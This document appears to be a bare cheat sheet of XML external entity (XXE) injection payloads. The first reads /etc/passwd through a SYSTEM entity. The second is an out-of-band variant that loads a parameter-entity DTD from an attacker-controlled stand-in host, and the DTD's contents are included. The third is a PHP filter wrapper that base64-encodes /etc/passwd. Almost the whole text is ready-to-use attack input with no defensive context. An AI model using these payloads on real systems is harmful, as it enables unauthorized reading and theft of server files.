<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE x [
<!ENTITY xxe SYSTEM "/etc/passwd">
] >
<site>
<vuln>Vuln &xxe;</vuln>
</site>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE x [
<!ENTITY % a SYSTEM "http://yourwebsite.com/ex.dtd">
%a;
%xxe;
] >
<site>
<vuln>Vuln &xxe;</vuln>
</site>
file http://yourwebsite.com/ex.dtd
<!ENTITY % test SYSTEM "file:///etc/passwd">
<!ENTITY % xxe '<!ENTITY test "%test;">'>
PHP wrapper:
<!DOCTYPE x [
<!ENTITY w00t SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<root>
<color>&w00t;</color>
</root>